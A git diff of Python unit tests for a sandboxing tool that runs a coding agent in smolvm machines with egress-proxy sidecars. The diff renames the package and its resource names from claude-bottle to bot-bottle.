TestSelectedDaemons(unittest.TestCase): # the canonical _DAEMONS order so egress starts before # pipelock (race-window reason). got = _selected_daemons( - {"CLAUDE_BOTTLE_SIDECAR_DAEMONS": "supervise,pipelock,egress"}, + {"BOT_BOTTLE_SIDECAR_DAEMONS": "supervise,pipelock,egress"}, all_daemons=self._DAEMONS, ) self.assertEqual([d.name for d in got], @@ -117,14 +117,14 @@ class TestSelectedDaemons(unittest.TestCase): def test_unknown_names_ignored(self): got = _selected_daemons( - {"CLAUDE_BOTTLE_SIDECAR_DAEMONS": "egress,bogus"}, + {"BOT_BOTTLE_SIDECAR_DAEMONS": "egress,bogus"}, all_daemons=self._DAEMONS, ) self.assertEqual([d.name for d in got], ["egress"]) def test_whitespace_in_names_stripped(self): got = _selected_daemons( - {"CLAUDE_BOTTLE_SIDECAR_DAEMONS": " egress , pipelock "}, + {"BOT_BOTTLE_SIDECAR_DAEMONS": " egress , pipelock "}, all_daemons=self._DAEMONS, ) self.assertEqual([d.name for d in got], ["egress", "pipelock"]) @@ -355,7 +355,7 @@ class TestSupervisor(unittest.TestCase): time.sleep(0.3) # let `trap` register sup.request_shutdown(reason="test") - with patch("claude_bottle.sidecar_init._GRACE_SECONDS", 0.3): + with patch("bot_bottle.sidecar_init._GRACE_SECONDS", 0.3): rc = self._drive(sup, max_wait_s=4.0) # Process was SIGKILL'd → returncode -9 on POSIX. @@ -397,14 +397,14 @@ class TestMainEndToEnd(unittest.TestCase): helper = ( "import os, runpy, sys\n" - "from claude_bottle import sidecar_init as si\n" + "from bot_bottle import sidecar_init as si\n" "si._DAEMONS = (\n" " si._DaemonSpec('alpha', ('/bin/sleep','30')),\n" " si._DaemonSpec('beta', ('/bin/sleep','30')),\n" ")\n" "sys.exit(si.main([]))\n" ) - env = {**os.environ, "CLAUDE_BOTTLE_SIDECAR_DAEMONS": daemons_csv} + env = {**os.environ, "BOT_BOTTLE_SIDECAR_DAEMONS": daemons_csv} proc = subprocess.Popen( [sys.executable, "-c", helper], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, diff --git a/tests/unit/test_smolmachines_bottle.py b/tests/unit/test_smolmachines_bottle.py index 58d3039..f773454 100644 --- a/tests/unit/test_smolmachines_bottle.py +++ b/tests/unit/test_smolmachines_bottle.py @@ -16,13 +16,13 @@ from __future__ import annotations import sys import unittest -from claude_bottle.backend.smolmachines import pty_resize as _pty_resize -from claude_bottle.backend.smolmachines.bottle import SmolmachinesBottle +from bot_bottle.backend.smolmachines import pty_resize as _pty_resize +from bot_bottle.backend.smolmachines.bottle import SmolmachinesBottle def _bottle(prompt_path: str | None = None, **env: str) -> SmolmachinesBottle: return SmolmachinesBottle( - "claude-bottle-dev-abc", + "bot-bottle-dev-abc", prompt_path=prompt_path, guest_env=env, ) @@ -47,7 +47,7 @@ class TestClaudeArgvWrapped(unittest.TestCase): self.assertEqual( [ sys.executable, _pty_resize.__file__, - "claude-bottle-dev-abc", "--", + "bot-bottle-dev-abc", "--", ], argv[:4], ) @@ -57,7 +57,7 @@ class TestClaudeArgvWrapped(unittest.TestCase): self.assertEqual( [ "smolvm", "machine", "exec", "--name", - "claude-bottle-dev-abc", + "bot-bottle-dev-abc", "-i", "-t", "-e", "HOME=/home/node", "-e", "USER=node", @@ -79,7 +79,7 @@ class TestClaudeArgvWrapped(unittest.TestCase): def test_appends_prompt_file_flag_when_set(self): argv = _unwrap( - _bottle("/home/node/.claude-bottle-prompt.txt").claude_argv( + _bottle("/home/node/.bot-bottle-prompt.txt").claude_argv( ["--dangerously-skip-permissions"], ) ) @@ -87,7 +87,7 @@ class TestClaudeArgvWrapped(unittest.TestCase): [ "claude", "--append-system-prompt-file", - "/home/node/.claude-bottle-prompt.txt", + "/home/node/.bot-bottle-prompt.txt", "--dangerously-skip-permissions", ], argv[argv.index("claude"):], diff --git a/tests/unit/test_smolmachines_cleanup.py b/tests/unit/test_smolmachines_cleanup.py index 512e5f3..1e585ae 100644 --- a/tests/unit/test_smolmachines_cleanup.py +++ b/tests/unit/test_smolmachines_cleanup.py @@ -11,9 +11,9 @@ import subprocess import unittest from unittest.mock import patch -from claude_bottle import backend as backend_mod -from claude_bottle.backend.smolmachines import cleanup -from claude_bottle.backend.smolmachines.bottle_cleanup_plan import ( +from bot_bottle import backend as backend_mod +from bot_bottle.backend.smolmachines import cleanup +from bot_bottle.backend.smolmachines.bottle_cleanup_plan import ( SmolmachinesBottleCleanupPlan, ) @@ -38,19 +38,19 @@ class TestPrepareCleanup(unittest.TestCase): def fake_run(argv, *a, **kw): if argv[:3] == ["smolvm", "machine", "ls"]: return _ok(stdout=( - '[{"name":"claude-bottle-a-1","state":"running"},' - ' {"name":"claude-bottle-b-2","state":"created"},' + '[{"name":"bot-bottle-a-1","state":"running"},' + ' {"name":"bot-bottle-b-2","state":"created"},' ' {"name":"unrelated","state":"running"}]' )) if argv[:2] == ["docker", "ps"]: return _ok(stdout=( - "claude-bottle-sidecars-a-1\n" - "claude-bottle-sidecars-b-2\n" + "bot-bottle-sidecars-a-1\n" + "bot-bottle-sidecars-b-2\n" )) if argv[:3] == ["docker", "network", "ls"]: return _ok(stdout=( - "claude-bottle-bundle-a-1\n" - "claude-bottle-bundle-b-2\n" + "bot-bottle-bundle-a-1\n" + "bot-bottle-bundle-b-2\n" )) return _ok() @@ -60,17 +60,17 @@ class TestPrepareCleanup(unittest.TestCase): smolvm.is_available.return_value = True plan = cleanup.prepare_cleanup() - # `unrelated` filtered out (no claude-bottle- prefix). + # `unrelated` filtered out (no bot-bottle- prefix). self.assertEqual( - ("claude-bottle-a-1", "claude-bottle-b-2"), + ("bot-bottle-a-1", "bot-bottle-b-2"), plan.machines, ) self.assertEqual( - ("claude-bottle-sidecars-a-1", "claude-bottle-sidecars-b-2"), + ("bot-bottle-sidecars-a-1", "bot-bottle-sidecars-b-2"), plan.bundles, ) self.assertEqual( - ("claude-bottle-bundle-a-1", "claude-bottle-bundle-b-2"), + ("bot-bottle-bundle-a-1", "bot-bottle-bundle-b-2"), plan.networks, ) @@ -86,9 +86,9 @@ class TestPrepareCleanup(unittest.TestCase): class TestCleanup(unittest.TestCase): def test_machines_stopped_then_deleted_then_bundles_then_networks(self): plan = SmolmachinesBottleCleanupPlan( - machines=("claude-bottle-a-1",), - bundles=("claude-bottle-sidecars-a-1",), - networks=("claude-bottle-bundle-a-1",), + machines=("bot-bottle-a-1",), + bundles=("bot-bottle-sidecars-a-1",), + networks=("bot-bottle-bundle-a-1",), ) calls: list[list[str]] = [] @@ -107,10 +107,10 @@ class TestCleanup(unittest.TestCase): ["smolvm", "machine", "delete", "-f"], calls[1], ) self.assertEqual( - ["docker", "rm", "-f", "claude-bottle-sidecars-a-1"], calls[2], + ["docker", "rm", "-f", "bot-bottle-sidecars-a-1"], calls[2], ) self.assertEqual( - ["docker", "network", "rm", "claude-bottle-bundle-a-1"], calls[3], + ["docker", "network", "rm", "bot-bottle-bundle-a-1"], calls[3], ) def test_failures_are_warnings_not_fatal(self): @@ -118,8 +118,8 @@ class TestCleanup(unittest.TestCase): # but continue with bundles + networks. The cleanup is # idempotent on success and tries to remove every resource. plan = SmolmachinesBottleCleanupPlan( - machines=("claude-bottle-a-1",), - bundles=("claude-bottle-sidecars-a-1",), + machines=("bot-bottle-a-1",), + bundles=("bot-bottle-sidecars-a-1",), networks=(), ) results = iter([ diff --git a/tests/unit/test_smolmachines_launch_image.py b/tests/unit/test_smolmachines_launch_image.py index bac3c5d..07685c9 100644 --- a/tests/unit/test_smolmachines_launch_image.py +++ b/tests/unit/test_smolmachines_launch_image.py @@ -18,7 +18,7 @@ import unittest from pathlib import Path from unittest.mock import patch -from claude_bottle.backend.smolmachines import launch as _launch_mod +from bot_bottle.backend.smolmachines import launch as _launch_mod class TestEnsureSmolmachine(unittest.TestCase): @@ -53,7 +53,7 @@ class TestEnsureSmolmachine(unittest.TestCase): ) as push, patch.object( _launch_mod._smolvm, "pack_create", ) as pack: - result = _launch_mod._ensure_smolmachine("claude-bottle:latest") + result = _launch_mod._ensure_smolmachine("bot-bottle-claude:latest") self.assertEqual(sidecar, result) # build still runs (Dockerfile edits land without manual rmi). @@ -71,7 +71,7 @@ class TestEnsureSmolmachine(unittest.TestCase): # ephemeral_registry yields a RegistryHandle with the # docker network + a push endpoint (container DNS) and # pull endpoint (host port-forward). - from claude_bottle.backend.smolmachines.local_registry import ( + from bot_bottle.backend.smolmachines.local_registry import ( RegistryHandle, ) @@ -111,7 +111,7 @@ class TestEnsureSmolmachine(unittest.TestCase): _launch_mod._smolvm, "pack_create", side_effect=record("pack"), ) as pack: - _launch_mod._ensure_smolmachine("claude-bottle:latest") + _launch_mod._ensure_smolmachine("bot-bottle-claude:latest") # Build → save → push → pack in that order. No `docker # push` (the daemon's HTTPS-by-default path is what we're @@ -121,14 +121,14 @@ class TestEnsureSmolmachine(unittest.TestCase): # docker save targets a per-digest tarball alongside the # cached sidecar. save_args = save.call_args.args - self.assertEqual("claude-bottle:latest", save_args[0]) + self.assertEqual("bot-bottle-claude:latest", save_args[0]) self.assertTrue(save_args[1].endswith(f"{digest}.image.tar")) # crane push runs against the push_endpoint (container DNS # on the registry network) with the digest as the tag. push_args = push.call_args.args self.assertEqual( - f"cb-registry-xyz:5000/claude-bottle:{digest}", push_args[2], + f"cb-registry-xyz:5000/bot-bottle:{digest}", push_args[2], ) # pack_create reads from the pull_endpoint (host port- @@ -136,7 +136,7 @@ class TestEnsureSmolmachine(unittest.TestCase): # different routing hostname — the registry stores one blob. pack_args = pack.call_args.args self.assertEqual( - f"localhost:54321/claude-bottle:{digest}", pack_args[0], + f"localhost:54321/bot-bottle:{digest}", pack_args[0], ) self.assertTrue(str(pack_args[1]).endswith(f"{digest}.smolmachine")) diff --git a/tests/unit/test_smolmachines_local_registry.py b/tests/unit/test_smolmachines_local_registry.py index 36d534a..a0277ba 100644 --- a/tests/unit/test_smolmachines_local_registry.py +++ b/tests/unit/test_smolmachines_local_registry.py @@ -12,7 +12,7 @@ import subprocess import unittest from unittest.mock import patch -from claude_bottle.backend.smolmachines import local_registry +from bot_bottle.backend.smolmachines import local_registry def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess: @@ -57,7 +57,7 @@ class TestEphemeralRegistry(unittest.TestCase): # its docker-network name on its container port. self.assertTrue( handle.push_endpoint.startswith( - "claude-bottle-registry-" + "bot-bottle-registry-" ) ) self.assertTrue(handle.push_endpoint.endswith(":5000")) @@ -65,7 +65,7 @@ class TestEphemeralRegistry(unittest.TestCase): self.assertEqual("localhost:54321", handle.pull_endpoint) # network name is the per-session bridge crane joins. self.assertTrue( - handle.network.startswith("claude-bottle-registry-net-") + handle.network.startswith("bot-bottle-registry-net-") ) # docker network create + docker run + docker port + rm -f + network rm self.assertEqual(5, run.call_count) diff --git a/tests/unit/test_smolmachines_loopback_alias.py b/tests/unit/test_smolmachines_loopback_alias.py index f7b428d..4f17c04 100644 --- a/tests/unit/test_smolmachines_loopback_alias.py +++ b/tests/unit/test_smolmachines_loopback_alias.py @@ -15,7 +15,7 @@ import unittest from pathlib import Path from unittest.mock import patch -from claude_bottle.backend.smolmachines import loopback_alias +from bot_bottle.backend.smolmachines import loopback_alias def _ok(stdout: str = "") -> subprocess.CompletedProcess: @@ -161,7 +161,7 @@ class TestAliasInUseDetection(unittest.TestCase): # First call: docker ps -> two bundle names. # Then docker inspect each, returning a port-bindings JSON # blob with a HostIp on the per-bottle alias. - ps_out = "claude-bottle-sidecars-a\nclaude-bottle-sidecars-b\n" + ps_out = "bot-bottle-sidecars-a\nbot-bottle-sidecars-b\n" inspect_a = ( '{"8888/tcp":[{"HostIp":"127.0.0.16","HostPort":"54000"}]}' ) @@ -183,7 +183,7 @@ class TestAliasInUseDetection(unittest.TestCase): ) def test_inspect_failures_are_skipped(self): - ps_out = "claude-bottle-sidecars-c\n" + ps_out = "bot-bottle-sidecars-c\n" with patch.object( loopback_alias.subprocess, "run", side_effect=[_ok(stdout=ps_out), _fail("inspect failed")], diff --git a/tests/unit/test_smolmachines_provision.py b/tests/unit/test_smolmachines_provision.py index 303d60a..bc75086 100644 --- a/tests/unit/test_smolmachines_provision.py +++ b/tests/unit/test_smolmachines_provision.py @@ -12,23 +12,23 @@ import unittest from pathlib import Path from unittest.mock import patch -from claude_bottle.backend import BottleSpec -from claude_bottle.backend.smolmachines.bottle_plan import ( +from bot_bottle.backend import BottleSpec +from bot_bottle.backend.smolmachines.bottle_plan import ( SmolmachinesBottlePlan, ) -from claude_bottle.backend.smolmachines.provision import ( +from bot_bottle.backend.smolmachines.provision import ( ca as _ca, git as _git, prompt as _prompt, skills as _skills, supervise as _supervise, ) -from claude_bottle.backend.smolmachines.smolvm import SmolvmRunResult -from claude_bottle.egress import EgressPlan, EgressRoute -from claude_bottle.git_gate import GitGatePlan -from claude_bottle.manifest import GitEntry, Manifest -from claude_bottle.pipelock import PipelockProxyPlan -from claude_bottle.supervise import SupervisePlan +from bot_bottle.backend.smolmachines.smolvm import SmolvmRunResult +from bot_bottle.egress import EgressPlan, EgressRoute +from bot_bottle.git_gate import GitGatePlan +from bot_bottle.manifest import GitEntry, Manifest +from bot_bottle.pipelock import PipelockProxyPlan +from bot_bottle.supervise import SupervisePlan def _remote_host(g: GitEntry) -> str: @@ -101,8 +101,8 @@ def _plan( bundle_subnet="192.168.50.0/24", bundle_gateway="192.168.50.1", bundle_ip=bundle_ip, - machine_name="claude-bottle-demo-abc12", - agent_image_ref="claude-bottle:latest", + machine_name="bot-bottle-demo-abc12", + agent_image_ref="bot-bottle-claude:latest", guest_env={}, prompt_file=Path("/tmp/state/demo-abc12/agent/prompt.txt"), proxy_plan=PipelockProxyPlan( @@ -133,37 +133,37 @@ def _plan( class TestProvisionPrompt(unittest.TestCase): def test_cp_uses_smolvm_machine_cp_with_machine_path_syntax(self): with patch( - "claude_bottle.backend.smolmachines.provision.prompt._smolvm.machine_cp" + "bot_bottle.backend.smolmachines.provision.prompt._smolvm.machine_cp" ) as cp, patch( - "claude_bottle.backend.smolmachines.provision.prompt._smolvm.machine_exec" + "bot_bottle.backend.smolmachines.provision.prompt._smolvm.machine_exec" ): - _prompt.provision_prompt(_plan(), "claude-bottle-demo-abc12") + _prompt.provision_prompt(_plan(), "bot-bottle-demo-abc12") cp.assert_called_once_with( "/tmp/state/demo-abc12/agent/prompt.txt", - "claude-bottle-demo-abc12:/home/node/.claude-bottle-prompt.txt", + "bot-bottle-demo-abc12:/home/node/.bot-bottle-prompt.txt", ) def test_returns_path_when_agent_has_prompt(self): with patch( - "claude_bottle.backend.smolmachines.provision.prompt._smolvm.machine_cp" + "bot_bottle.backend.smolmachines.provision.prompt._smolvm.machine_cp" ), patch( - "claude_bottle.backend.smolmachines.provision.prompt._smolvm.machine_exec" + "bot_bottle.backend.smolmachines.provision.prompt._smolvm.machine_exec" ): r = _prompt.provision_prompt( _plan(agent_prompt="You are a helpful assistant."), - "claude-bottle-demo-abc12", + "bot-bottle-demo-abc12", ) - self.assertEqual("/home/node/.claude-bottle-prompt.txt", r) + self.assertEqual("/home/node/.bot-bottle-prompt.txt", r) def test_returns_none_when_agent_has_no_prompt(self): # The file is still copied (path-must-exist contract); # only the return value differs. with patch( - "claude_bottle.backend.smolmachines.provision.prompt._smolvm.machine_cp" + "bot_bottle.backend.smolmachines.provision.prompt._smolvm.machine_cp" ) as cp, patch( - "claude_bottle.backend.smolmachines.provision.prompt._smolvm.machine_exec" + "bot_bottle.backend.smolmachines.provision.prompt._smolvm.machine_exec" ): - r = _prompt.provision_prompt(_plan(agent_prompt=""), "claude-bottle-demo-abc12") + r = _prompt.provision_prompt(_plan(agent_prompt=""), "bot-bottle-demo-abc12") self.assertIsNone(r) cp.assert_called_once() @@ -171,18 +171,18 @@ class TestProvisionPrompt(unittest.TestCase): # machine cp lands as root; without the chown, the node user # can't read its own mode-600 prompt. with patch( - "claude_bottle.backend.smolmachines.provision.prompt._smolvm.machine_cp" + "bot_bottle.backend.smolmachines.provision.prompt._smolvm.machine_cp" ), patch( - "claude_bottle.backend.smolmachines.provision.prompt._smolvm.machine_exec" + "bot_bottle.backend.smolmachines.provision.prompt._smolvm.machine_exec" ) as ex: - _prompt.provision_prompt(_plan(), "claude-bottle-demo-abc12") + _prompt.provision_prompt(_plan(), "bot-bottle-demo-abc12") argv_seen = [call.args[1] for call in ex.call_args_list] self.assertIn( - ["chown", "node:node", "/home/node/.claude-bottle-prompt.txt"], + ["chown", "node:node", "/home/node/.bot-bottle-prompt.txt"], argv_seen, ) self.assertIn( - ["chmod", "600", "/home/node/.claude-bottle-prompt.txt"], + ["chmod", "600", "/home/node/.bot-bottle-prompt.txt"], argv_seen, ) @@ -190,17 +190,17 @@ class TestProvisionPrompt(unittest.TestCase): class TestProvisionSkills(unittest.TestCase): def _patch_host_skill_dir(self, returns: dict[str, str]): return patch( - "claude_bottle.backend.smolmachines.provision.skills.host_skill_dir", + "bot_bottle.backend.smolmachines.provision.skills.host_skill_dir", side_effect=lambda n: returns.get(n, f"/nope/{n}"), ) def test_no_op_when_agent_has_no_skills(self): with patch( - "claude_bottle.backend.smolmachines.provision.skills._smolvm.machine_cp" + "bot_bottle.backend.smolmachines.provision.skills._smolvm.machine_cp" ) as cp, patch( - "claude_bottle.backend.smolmachines.provision.skills._smolvm.machine_exec" + "bot_bottle.backend.smolmachines.provision.skills._smolvm.machine_exec" ) as ex: - _skills.provision_skills(_plan(skills=[]), "claude-bottle-demo-abc12") + _skills.provision_skills(_plan(skills=[]), "bot-bottle-demo-abc12") self.assertEqual(0, cp.call_count) self.assertEqual(0, ex.call_count) @@ -209,23 +209,23 @@ class TestProvisionSkills(unittest.TestCase): "init-prd": "/host/skills/init-prd", "verify": "/host/skills/verify", }), patch( - "claude_bottle.backend.smolmachines.provision.skills.os.path.isdir", + "bot_bottle.backend.smolmachines.provision.skills.os.path.isdir", return_value=True, ), patch( - "claude_bottle.backend.smolmachines.provision.skills._smolvm.machine_cp" + "bot_bottle.backend.smolmachines.provision.skills._smolvm.machine_cp" ) as cp, patch( - "claude_bottle.backend.smolmachines.provision.skills._smolvm.machine_exec" + "bot_bottle.backend.smolmachines.provision.skills._smolvm.machine_exec" ) as ex: _skills.provision_skills( _plan(skills=["init-prd", "verify"]), - "claude-bottle-demo-abc12", + "bot-bottle-demo-abc12", ) # mkdir -p once + (rm -rf + chown) per skill = 5 exec calls. self.assertEqual(5, ex.call_count) mkdir_call = ex.call_args_list[0] self.assertEqual( - ("claude-bottle-demo-abc12", ["mkdir", "-p", "/home/node/.claude/skills"]), + ("bot-bottle-demo-abc12", ["mkdir", "-p", "/home/node/.claude/skills"]), mkdir_call.args, ) # Two cp calls, one per skill, into the per-skill subdir. @@ -233,8 +233,8 @@ class TestProvisionSkills(unittest.TestCase): cp_targets = {call.args[1] for call in cp.call_args_list} self.assertEqual( { - "claude-bottle-demo-abc12:/home/node/.claude/skills/init-prd", - "claude-bottle-demo-abc12:/home/node/.claude/skills/verify", + "bot-bottle-demo-abc12:/home/node/.claude/skills/init-prd", + "bot-bottle-demo-abc12:/home/node/.claude/skills/verify", }, cp_targets, ) @@ -257,36 +257,36 @@ class TestProvisionSkills(unittest.TestCase): import os with self._patch_host_skill_dir({"init-prd": "/host/skills/init-prd"}), \ patch( - "claude_bottle.backend.smolmachines.provision.skills.os.path.isdir", + "bot_bottle.backend.smolmachines.provision.skills.os.path.isdir", return_value=True, ), \ - patch.dict(os.environ, {"CLAUDE_BOTTLE_GUEST_SKILLS_DIR": "/home/node/.claude/skills"}), \ + patch.dict(os.environ, {"BOT_BOTTLE_GUEST_SKILLS_DIR": "/home/node/.claude/skills"}), \ patch( - "claude_bottle.backend.smolmachines.provision.skills._smolvm.machine_cp" + "bot_bottle.backend.smolmachines.provision.skills._smolvm.machine_cp" ) as cp, \ patch( - "claude_bottle.backend.smolmachines.provision.skills._smolvm.machine_exec" + "bot_bottle.backend.smolmachines.provision.skills._smolvm.machine_exec" ): - _skills.provision_skills(_plan(skills=["init-prd"]), "claude-bottle-demo-abc12") + _skills.provision_skills(_plan(skills=["init-prd"]), "bot-bottle-demo-abc12") self.assertEqual( - "claude-bottle-demo-abc12:/home/node/.claude/skills/init-prd", + "bot-bottle-demo-abc12:/home/node/.claude/skills/init-prd", cp.call_args.args[1], ) def test_missing_skill_dies(self): with self._patch_host_skill_dir({"init-prd": "/host/skills/init-prd"}), \ patch( - "claude_bottle.backend.smolmachines.provision.skills.os.path.isdir", + "bot_bottle.backend.smolmachines.provision.skills.os.path.isdir", return_value=False, ), \ patch( - "claude_bottle.backend.smolmachines.provision.skills._smolvm.machine_cp" + "bot_bottle.backend.smolmachines.provision.skills._smolvm.machine_cp" ), \ patch( - "claude_bottle.backend.smolmachines.provision.skills._smolvm.machine_exec" + "bot_bottle.backend.smolmachines.provision.skills._smolvm.machine_exec" ): with self.assertRaises(SystemExit): - _skills.provision_skills(_plan(skills=["init-prd"]), "claude-bottle-demo-abc12") + _skills.provision_skills(_plan(skills=["init-prd"]), "bot-bottle-demo-abc12") def _write_self_signed_cert(path: Path) -> None: @@ -331,15 +331,15 @@ class TestProvisionCA(unittest.TestCase): def test_pipelock_path_when_no_routes(self): plan = _plan(pipelock_ca_path=self.pipelock_ca) with patch( - "claude_bottle.backend.smolmachines.provision.ca._smolvm.machine_cp" + "bot_bottle.backend.smolmachines.provision.ca._smolvm.machine_cp" ) as cp, patch( - "claude_bottle.backend.smolmachines.provision.ca._smolvm.machine_exec", + "bot_bottle.backend.smolmachines.provision.ca._smolvm.machine_exec", return_value=self._UPDATE_OK, ) as ex: - _ca.provision_ca(plan, "claude-bottle-demo-abc12") + _ca.provision_ca(plan, "bot-bottle-demo-abc12") cp.assert_called_once_with( str(self.pipelock_ca), - "claude-bottle-demo-abc12:" + _ca.AGENT_CA_PATH, + "bot-bottle-demo-abc12:" + _ca.AGENT_CA_PATH, ) # chmod + chown + update-ca-certificates are now folded # into one `sh -c` invocation (working around a smolvm @@ -359,17 +359,17 @@ class TestProvisionCA(unittest.TestCase): pipelock_ca_path=self.pipelock_ca, ) with patch( - "claude_bottle.backend.smolmachines.provision.ca._smolvm.machine_cp" + "bot_bottle.backend.smolmachines.provision.ca._smolvm.machine_cp" ) as cp, patch( - "claude_bottle.backend.smolmachines.provision.ca._smolvm.machine_exec", + "bot_bottle.backend.smolmachines.provision.ca._smolvm.machine_exec", return_value=self._UPDATE_OK, ): - _ca.provision_ca(plan, "claude-bottle-demo-abc12") + _ca.provision_ca(plan, "bot-bottle-demo-abc12") # When routes are declared, egress is the agent's first hop, # so egress's CA is the one that gets installed. cp.assert_called_once_with( str(self.egress_ca), - "claude-bottle-demo-abc12:" + _ca.AGENT_CA_PATH, + "bot-bottle-demo-abc12:" + _ca.AGENT_CA_PATH, ) def test_dies_when_selected_cert_missing(self): @@ -377,12 +377,12 @@ class TestProvisionCA(unittest.TestCase): # something went wrong in launch's pipelock_tls_init. plan = _plan(pipelock_ca_path=self.tmp / "does-not-exist.pem") with patch( - "claude_bottle.backend.smolmachines.provision.ca._smolvm.machine_cp" + "bot_bottle.backend.smolmachines.provision.ca._smolvm.machine_cp" ), patch( - "claude_bottle.backend.smolmachines.provision.ca._smolvm.machine_exec" + "bot_bottle.backend.smolmachines.provision.ca._smolvm.machine_exec" ): with self.assertRaises(SystemExit): - _ca.provision_ca(plan, "claude-bottle-demo-abc12") + _ca.provision_ca(plan, "bot-bottle-demo-abc12") class TestProvisionGit(unittest.TestCase): @@ -399,12 +399,12 @@ class TestProvisionGit(unittest.TestCase): def test_noop_when_no_cwd_and_no_git_entries(self): with patch( - "claude_bottle.backend.smolmachines.provision.git._smolvm.machine_cp" + "bot_bottle.backend.smolmachines.provision.git._smolvm.machine_cp" ) as cp, patch( - "claude_bottle.backend.smolmachines.provision.git._smolvm.machine_exec" + "bot_bottle.backend.smolmachines.provision.git._smolvm.machine_exec" ) as ex: _git.provision_git( - _plan(stage_dir=self.stage), "claude-bottle-demo-abc12", + _plan(stage_dir=self.stage), "bot-bottle-demo-abc12", ) cp.assert_not_called() ex.assert_not_called() @@ -418,14 +418,14 @@ class TestProvisionGit(unittest.TestCase): copy_cwd=True, user_cwd=str(cwd), stage_dir=self.stage, ) with patch( - "claude_bottle.backend.smolmachines.provision.git._smolvm.machine_cp" + "bot_bottle.backend.smolmachines.provision.git._smolvm.machine_cp" ) as cp, patch( - "claude_bottle.backend.smolmachines.provision.git._smolvm.machine_exec" + "bot_bottle.backend.smolmachines.provision.git._smolvm.machine_exec" ) as ex: - _git.provision_git(plan, "claude-bottle-demo-abc12") + _git.provision_git(plan, "bot-bottle-demo-abc12") cp.assert_called_once_with( f"{cwd}/.git", - "claude-bottle-demo-abc12:/home/node/workspace/.git", + "bot-bottle-demo-abc12:/home/node/workspace/.git", ) argvs = [c.args[1] for c in ex.call_args_list] self.assertIn(["mkdir", "-p", "/home/node/workspace"], argvs) @@ -438,11 +438,11 @@ class TestProvisionGit(unittest.TestCase): def test_skips_cwd_when_copy_cwd_false(self): plan = _plan(copy_cwd=False, stage_dir=self.stage) with patch( - "claude_bottle.backend.smolmachines.provision.git._smolvm.machine_cp" + "bot_bottle.backend.smolmachines.provision.git._smolvm.machine_cp" ) as cp, patch( - "claude_bottle.backend.smolmachines.provision.git._smolvm.machine_exec" + "bot_bottle.backend.smolmachines.provision.git._smolvm.machine_exec" ): - _git.provision_git(plan, "claude-bottle-demo-abc12") + _git.provision_git(plan, "bot-bottle-demo-abc12") cp.assert_not_called() def test_writes_gitconfig_with_ip_port_form_for_smolmachines(self): @@ -452,7 +452,7 @@ class TestProvisionGit(unittest.TestCase): # carries the discovered host port (here mocked to 9418). plan = _plan( git=[GitEntry( - Name="claude-bottle", + Name="bot-bottle", Upstream="ssh://git@host/repo.git", IdentityFile="~/.ssh/id_ed25519", )], @@ -460,11 +460,11 @@ class TestProvisionGit(unittest.TestCase): agent_git_gate_host="127.0.0.1:9418", ) with patch( - "claude_bottle.backend.smolmachines.provision.git._smolvm.machine_cp" + "bot_bottle.backend.smolmachines.provision.git._smolvm.machine_cp" ) as cp, patch( - "claude_bottle.backend.smolmachines.provision.git._smolvm.machine_exec" + "bot_bottle.backend.smolmachines.provision.git._smolvm.machine_exec" ): - _git.provision_git(plan, "claude-bottle-demo-abc12") + _git.provision_git(plan, "bot-bottle-demo-abc12") # The staged gitconfig path is whatever NamedTemporaryFile # picked; we read its contents. cp_call = cp.call_args @@ -472,7 +472,7 @@ class TestProvisionGit(unittest.TestCase): self.assertEqual(self.stage, staged_path.parent) content = staged_path.read_text() self.assertIn( - '[url "git://127.0.0.1:9418/claude-bottle.git"]', content, + '[url "git://127.0.0.1:9418/bot-bottle.git"]', content, ) self.assertIn( "\tinsteadOf = ssh://git@host/repo.git", content, @@ -497,9 +497,9 @@ class TestProvisionGitUser(unittest.TestCase): def test_noop_when_no_git_user(self): with patch( - "claude_bottle.backend.smolmachines.provision.git._smolvm.machine_exec" + "bot_bottle.backend.smolmachines.provision.git._smolvm.machine_exec" ) as ex: - _git._provision_git_user(_plan(), "claude-bottle-demo-abc12") + _git._provision_git_user(_plan(), "bot-bottle-demo-abc12") self.assertEqual([], self._git_config_calls(ex)) def test_sets_name_and_email_as_node(self): @@ -508,9 +508,9 @@ class TestProvisionGitUser(unittest.TestCase): "email": "eric@dideric.is", }) with patch( - "claude_bottle.backend.smolmachines.provision.git._smolvm.machine_exec" + "bot_bottle.backend.smolmachines.provision.git._smolvm.machine_exec" ) as ex: - _git._provision_git_user(plan, "claude-bottle-demo-abc12") + _git._provision_git_user(plan, "bot-bottle-demo-abc12") calls = self._git_config_calls(ex) self.assertEqual(2, len(calls)) # Both go through `runuser -u node --` so they run as node; @@ -530,9 +530,9 @@ class TestProvisionGitUser(unittest.TestCase): def test_name_only(self): plan = _plan(git_user={"name": "Bot"}) with patch( - "claude_bottle.backend.smolmachines.provision.git._smolvm.machine_exec" + "bot_bottle.backend.smolmachines.provision.git._smolvm.machine_exec" ) as ex: - _git._provision_git_user(plan, "claude-bottle-demo-abc12") + _git._provision_git_user(plan, "bot-bottle-demo-abc12") calls = self._git_config_calls(ex) self.assertEqual(1, len(calls)) self.assertEqual(["user.name", "Bot"], calls[0][0][7:]) @@ -540,9 +540,9 @@ class TestProvisionGitUser(unittest.TestCase): def test_email_only(self): plan = _plan(git_user={"email": "bot@example.com"}) with patch( - "claude_bottle.backend.smolmachines.provision.git._smolvm.machine_exec" + "bot_bottle.backend.smolmachines.provision.git._smolvm.machine_exec" ) as ex: - _git._provision_git_user(plan, "claude-bottle-demo-abc12") + _git._provision_git_user(plan, "bot-bottle-demo-abc12") calls = self._git_config_calls(ex) self.assertEqual(1, len(calls)) self.assertEqual(["user.email", "bot@example.com"], calls[0][0][7:]) @@ -551,9 +551,9 @@ class TestProvisionGitUser(unittest.TestCase): class TestProvisionSupervise(unittest.TestCase): def test_noop_when_supervise_not_enabled(self): with patch( - "claude_bottle.backend.smolmachines.provision.supervise._smolvm.machine_exec" + "bot_bottle.backend.smolmachines.provision.supervise._smolvm.machine_exec" ) as ex: - _supervise.provision_supervise(_plan(), "claude-bottle-demo-abc12") + _supervise.provision_supervise(_plan(), "bot-bottle-demo-abc12") ex.assert_not_called() def test_calls_claude_mcp_add_when_supervise_enabled(self): @@ -562,10 +562,10 @@ class TestProvisionSupervise(unittest.TestCase): agent_supervise_url="http://127.0.0.1:9100/", ) with patch( - "claude_bottle.backend.smolmachines.provision.supervise._smolvm.machine_exec", + "bot_bottle.backend.smolmachines.provision.supervise._smolvm.machine_exec", return_value=SmolvmRunResult(returncode=0, stdout="", stderr=""), ) as ex: - _supervise.provision_supervise(plan, "claude-bottle-demo-abc12") 